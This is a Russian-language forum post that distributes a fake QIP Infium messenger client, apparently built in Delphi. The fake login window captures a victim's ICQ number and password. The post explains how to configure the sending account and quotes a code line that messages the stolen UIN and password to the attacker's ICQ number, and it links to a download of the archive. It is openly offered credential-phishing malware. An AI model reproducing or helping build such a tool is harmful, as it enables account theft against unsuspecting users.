Выкладываю фейк QIP_Infium. Все нестандартные компоненты в архиве. Редактируйте на свой вкус. (Сделан как и Фейк Mail@Агент ). Минус только в том, что я не нашел нормальной иконки QIP'a Infium, так что если у кого найдется, пусть выложит иконку сюда и не смог сделать что-бы место для ввода паролей выводило кружочки, получились только '*'. В общем юзайте Help в архиве
В компоненте icqclient (Object Inspector) укажите другой номер и пароль, записав в UIN и Password - это номер с которого будет слаться отчёт. А в строке
icqclient1.SendMessage(368368456, 'ICQ: ' + ComboBox1.Text + ' Password: ' + Edit2.Text);
368368456 - это на какой номер оташлется отчет. Ссылка для скачивания